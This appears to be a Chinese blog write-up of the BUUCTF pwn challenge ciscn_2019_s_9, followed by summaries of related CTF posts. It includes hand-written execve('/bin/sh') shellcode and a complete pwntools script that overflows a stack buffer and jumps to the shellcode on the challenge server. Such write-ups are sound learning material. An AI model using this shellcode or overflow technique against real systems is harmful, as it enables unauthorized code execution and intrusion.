BUUCTF PWN ciscn_2019_s_9

[BUUCTF]PWN21——ciscn_2019_s_3 [BUUCTF]PWN21——ciscn_2019_s_3 附件 步骤 例行检查,64位,开启了NX保护 试运行的时候回显是一些乱码,直接用ida打开,从main函数开始看 main函数调用了vuln函数 __asm 关键字用于调用内联汇编程序,并且可在 C 或 C++ 语句合法时出现。 我们首先要了解一下64位系统的系统调用 传参方式:首先将系统调用号 传入 rax,然后将参数 从左到右 依次存入 rdi,rsi,rdx寄存器中,返回值存在rax寄存器 调用号:sys_read 的调用号 为 0 ; 阅读详情

1.checksec+运行

32位/没有保护

2.32IDA进行中

1.hint函数

提示函数,很有帮助,解题关键点

直接跳到esp栈顶指针

2.pwn函数

 明显的fgets()函数溢出

跟进s看看偏移

 offset = 0x20+4

向s里写入shellcode

注意一点:

如果直接用pwntools生成的shellcode,会很长,s里写不下

所以这就需要我们手动写入shellcode

shellcode ='''
xor eax,eax             #eax置0
xor edx,edx				#edx置0
push edx				#将0入栈,标记了”/bin/sh”的结尾
push 0x68732f2f         #传递”/sh”,为了4字节对齐,使用//sh,这在execve()中等同于/sh
push 0x6e69622f         #传递“/bin”
mov ebx,esp             #此时esp指向了”/bin/sh”,通过esp将该字符串的值传递给ebx
xor ecx,ecx
mov al,0xB              #eax置为execve函数的中断号
int 0x80                #调用软中断
'''
shellcode=asm(shellcode)

这样就很完美的将shellcode的长度控制在21

机器码计算的长度为21,看其他师傅的博客为23的长度,具体不知,先记下,再研究(2022年4月23日)

\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80

 

3.脚本

from pwn import*
#p=process('./ciscns9')
p=remote("node4.buuoj.cn",26901)
jump_esp=0x8048554





shellcode =b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

payload=shellcode.ljust(0x24,b'\x00')+p32(jump_esp)+asm("sub esp,40;call esp")

#hex(40)=0x28----->0x24+4
#esp-0x28
#调用esp




p.sendline(payload)
p.interactive()

BUUCTF pwn ciscn_2019_s_3(SROP) 0x01 文件分析   0x02 运行  有一个回显,并且还有多余的字符显示,接着看代码分析一下。   0x03 IDA源码  由后面的函数可以看出,这个程序使用的系统调用,并且vuln里面存在栈溢出。  在程序之中的gadgets存在着两个为rax赋值的gadget,15的系统号是rt_sigreturn,3b的系统调用是execve,利用这两个可以执行系统调用得到shell。  ex... 阅读详情

相关推荐

[BUUCTF]PWN——ciscn_2019_s_4

ciscn_2019_s_4 附件 步骤: 例行检查,32位程序,开启了nx保护 本地试运行一下,看看大概的情况,两次输入,让人联想到栈迁移 32位ida载入,找到关键函数,只可以溢出8字节,没法构造太长的rop, 程序最后是用leave和retn还原现场的,首先想到的就是栈迁移 leave实质 上是move esp,ebp和pop ebp,将栈底地址赋给栈顶,然后在重新设置栈底地址,我的理解是重新开栈 retn实质上是pop rip,设置下一条执行指令的地址 利用思路 利用第一个输入点来泄露e

mcmuyanga的博客 2131

ciscn_2019_s_9详解

详解pwn入门题ciscn_2019_s_9

勿山几已 677

[BUUCTF]PWN——ciscn_2019_es_7[详解]

ciscn_2019_es_7 附件 步骤: 例行检查,64位程序,开启了nx保护 本地试运行一下看看大概的情况 64位ida载入,关键函数很简单,两个系统调用,buf存在溢出 看到系统调用和溢出,想到了SROP,之前遇到过一次,关于原理可以看一下这两篇文章 https://www.freebuf.com/articles/network/87447.html https://ctf-wiki.org/pwn/linux/stackoverflow/advanced-rop/srop/?h=+sr

mcmuyanga的博客 2180

[buuctf]ciscn_2019_s_9

[buuctf]ciscn_2019_s_9

逆向萌新的博客 1304

[BUUCTF]PWN——ciscn_2019_final_2

ciscn_2019_final_2 附件 步骤 例行检查,64位程序,保护全开 本地没有flag文件,远程连接一下,经典的堆题的菜单 64位ida载入 init() allocate(),只可以申请0x20或者0x10的chunk delete() show(),show只能调用3次 bye_bye 这道题的关键点在于文件流的知识 dup2 用来复制文件描述符:int dup2 (int oldfd,int newfd) _fileno 是用来规定 fd 所指向的文件流的,i

mcmuyanga的博客 1446

BUUCTF pwn ciscn_2019_n_8

0x01 文件分析  文件很简单,32位,保护都开得差不多。   0x02 运行  输入并且回显。   0x03 IDA源码分析 int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [esp-14h] [ebp-20h] int v5; // [esp-10h] [ebp-1Ch] ...

菜的只能随便写写博客 2797

[BUUCTF] ciscn_2019_s_9

ciscn_2019_s_9

zyxx_wjc的博客 458

BUUCTF pwn题exp整合

0x01 rip from pwn import* p = remote('node3.buuoj.cn',27511) payload = 'a'*23+p64(0x401198)+p64(0x401186) p.sendline(payload) p.interactive()   0x02 warmup_csaw_2016 from pwn import * #p = proces...

菜的只能随便写写博客 809

ciscn_2019_s_9

32位,啥也没开,开心愉悦写shellcode程序主要在这里,栈溢出,写shellcode进去然后执行,发现有个hint这里有个jmp,ok好办了。

qq_62887641的博客 329

【Audio driver】深入解析mixer_paths.xml中的音频通路配置

本文深入解析了Android音频驱动开发中的核心配置文件mixer_paths.xml。文章以高通平台为例,详细阐述了音频通路(FE、BE、DSP、Device)的概念与连接逻辑,并通过实战案例拆解了扬声器与麦克风通路的配置方法、关键控件作用及调试技巧,是理解与定制Android音频系统的实用指南。

ik6789012的博客 358

Blender点云渲染实战:用Geometry Nodes快速搞定论文配图(附Cycles渲染技巧)

本文详细介绍了如何利用Blender的Geometry Nodes系统,高效地将三维点云数据转化为高质量的科研论文配图。通过实战步骤,从数据导入、节点化几何处理、材质赋予到Cycles渲染引擎的优化设置,手把手教你制作出专业、美观的可视化图像,助力科研成果展示。

hp777的博客 265

[BUUCTF]PWN——ciscn_2019_s_9

ciscn_2019_s_9 参考 例行检查 ,32位,未开启任何保护 运行一下。 32位ida载入,,第10行的fgets,能够溢出0x32-0x20-0x4个字节 没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode 生成的shellcode的长度过长,参数 s0x20(32) 写不下。 shellcode =''' xor eax,eax #eax置0 xor edx,edx #edx置0 push edx #将0入栈,标

BangSen1的博客 742

RML2016.10a (CNN、LSTM、CNN-LSTM、CNN-LSTM-Multi-head-attention, TensorFlow)

RML2016.10a (CNN、LSTM、CNN-LSTM、CNN-LSTM-Multi-head-attention, TensorFlow) 包含所有数据和代码,支持一键运行(jupyter)

qq_40999533的博客 1484

[BUUCTF]PWN——ciscn_2019_s_9(汇编代码写shellcode)

ciscn_2019_s_9 附件 步骤 例行检查,32位程序,没用开启任何保护 本地试运行看一下程序大概的情况 32位ida载入,第10行的fgets,能够溢出0x32-0x20-0x4个字节 由于没用nx保护,首先想到的就是往s里写入shellcode,然后跳转到s执行shellcode,s在栈上,ida里有一个函数,为我们提供了跳转到栈上的指令jmp esp 现在就一个问题,s大小只有0x20,用下面的shellcode不懂能不能完全写入 context(log_level = 'debu

mcmuyanga的博客 2166

Unity3d实现红外热成像效果

1.将需要在红外图像中高亮的物体设置到图层PostProcessing。 2.新建一个相机CameraHighLight,设置其Culling Mask为PostProcessing,也就是在这个相机中只有PostProcessing图层的物体可见。 3.新建一个RenderTexture,命名为HightLightRt,将CameraHighLight的Target Texture设HightLightRt。 4.新建一个相机Camera2,这个相机用于显示其他物体。 接下来将CameraHigh

zouxin_88的专栏 8327

ValueError:Using a `device_map`, `tp_plan`, `torch.device` context manager or setting `torch.set解决方案

本文主要介绍了ValueError:Using a `device_map`, `tp_plan`, `torch.device` context manager or setting 'torch.set_default_device(device)` requires `accelerate`解决方案,希望能对使用transformers的同学们有所帮助。 文章目录 1. 问题描述 2. 解决方案

weixin_43178406的博客 3万+

buuctf-pwn ciscn_2019_s_9题解(学习过程持续更新)

【摘要】本文记录了一道32位无保护机制的PWN题解题过程。通过IDA分析发现fgets函数存在栈溢出漏洞,但缺乏system函数和/bin/sh。利用hint函数中的jumpesp指令执行自定义的短shellcode。构造的payload先用0x24字节的'a'覆盖返回地址,使esp指向jumpesp后的shellcode起始位置。通过计算(0x24+4)确定sub esp,40的偏移量,最终成功实现shellcode调用并获取flag。解题过程涉及栈溢出利用和手动shellcode编写技巧。

2501_93570847的博客 463

光学测量仿真软件:Zygo_(12).Zygo软件的用户界面与操作指南

Zygo软件支持用户自定义工具和插件,以扩展软件的功能和适应特定的仿真需求。编写脚本使用Python或其他支持的脚本语言编写自定义工具的脚本。例如,编写一个脚本来计算光束的衍射效率。# 示例脚本:计算光束的衍射效率 import zygo # 导入Zygo软件的API def calculate_diffraction_efficiency(wavelength , grating_period , angle) : """计算光束的衍射效率:param wavelength: 光源波长(单位:米)

kkchenjj的博客 1669

BUUCTF PWN 51-55 wp

查看伪代码:我们需要把n3设置为4869,同时需要控制位于bss段上的magic大于0x1305;

2503_93690490的博客 416

AutosarMCAL开发——基于EB MCU驱动

本文为博主个人学习总结记录,如有不正,欢迎指正。

qq_45583706的博客 922

032、准谐振反激变换器(QR-Flyback)原理

文章摘要: 本文以65W PD快充炸管案例切入,解析准谐振反激变换器(QR-Flyback)原理。通过主动利用漏感与MOS结电容的谐振,在Vds波谷开通实现近似ZVS,显著降低开关损耗与电压应力。对比传统反激,QR模式轻载效率提升8%,Vds尖峰减少23%。关键设计要点包括:变压器漏感需<3%、谷底检测电路需抗干扰、启动阶段需防过冲。推荐NCP1340等专用控制芯片,并强调VCC电容优选低ESR陶瓷材质。QR适用于30W-150W场景,其核心优势在于轻载效率优化,但需平衡漏感控制与可靠性。作者结合实测数据与

Jack010169的博客 117

[PWN] BUUCTF ciscn_2019_es_2

[PWN] BUUCTF ciscn_2019_es_2解题分析漏洞利用payload解析程序执行过程图参考: 解题分析 按照惯例checksec一下,开了NX与RELRO 运行程序,查看逻辑,两次input,并且回显Hello,input 32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造 payload=0x28*‘a’+ebp+backdoo

空城惜梦的博客 1718

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

详细讲解BUUCTF-ciscn_2019_n_1

详细讲解BUUCTF-ciscn_2019_n_1

2301_76794844的博客 1334

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

[BUUCTF-pwn]——ciscn_2019_s_4

[BUUCTF-pwn]——ciscn_2019_s_4 题目地址:https://buuoj.cn/challenges#ciscn_2019_s_4 这道题是一道典型的栈劫持问题 前面有一道类似的,(挂了peak小知识), 如果需要可以去做一下 没有开启canary保护 在IDA中, 可以看出有明显的栈溢出, 不过溢出空间只够修改ebp和一个返回地址 但是, 仅仅一个返回地址是不够的, 并不能打印flag 思路 利用栈溢出,首先泄露出来main_ebp的地址 计算一下,我们输入的位置, 距离m

Y_peak的博客 672

[buuctf]ciscn_2019_ne_5

buuctf ciscn_2019_ne_5题目分析

逆向萌新的博客 2193
上一篇: BUUCTF PWN warmup_csaw_2016
下一篇: BUUCTF|PWN-pwn1_sctf_2016
Rt1Text
博客等级 码龄5年 14粉丝 53原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值